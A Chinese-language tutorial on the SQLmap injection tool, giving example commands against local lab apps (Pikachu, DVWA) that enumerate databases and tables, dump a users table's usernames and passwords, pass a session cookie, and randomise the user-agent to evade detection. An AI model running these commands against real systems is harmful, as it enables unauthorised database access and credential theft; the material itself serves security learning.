SQLmap的使用

        Sqlmap是一个利用python语言开发的一个渗透工具，可以用来进行自动化检测和利用SQL注入漏洞，获取数据库服务器的权限，它具有功能强大的检测引擎，有针对各种不同类型的数据库的渗透测试的功能选项，包括数据库中存储的数据，访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

SQLMap的优势

1. 全自动化：无需手工构造payload
2. 支持广泛：支持主流数据库和注入类型
3. 功能强大：从检测到完全控制数据库
4. 持续更新：活跃的开源项目

基础命令

1.-u 检测单个 URL 是否存在注入

 -u <目标URL>   检测目标URL是否存在注入

eg.python sqlmap.py -u "http://192.168.100.202:8082/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2"

2.--batch 全自动模式

--batch  自动回答所有提问，直到任务完成
eg. python sqlmap.py -u "http://192.168.100.202:8082/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" --batch

3.--dbs 获取数据库名

--dbs 获取数据库名字
eg. python sqlmap.py -u "http://192.168.100.202:8082/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" --dbs

4.-D --tables 获取指定数据库

-D：指定数据库
与--tables配合使用
eg.python sqlmap.py -u "http://192.168.100.202:8082/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables

5.-T --columns 获取指定的表名

-T：指定表
与--columns配合使用
eg.python sqlmap.py -u "http://192.168.100.202:8082/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

6.-C --dump获取指定的字段

-C：指定字段
与--dump配合使用
eg.python sqlmap.py -u "http://192.168.100.202:8082/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C id,password,username --dump

7.--cookie 携带 Cookie（适用于需要登录的场景）

--cookie
eg.python sqlmap.py -u "http://192.168.100.202:8081/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=uik9mm187m3c7bhsbim791lbg5; security=low" --batch

8.--random-agent 使用user-agent 绕开检测

--random-agent 随机使用user-agent
eg.http://192.168.100.202:8080/vulnerabilities/sqli/?id=1&Submit=Submit# --random-agent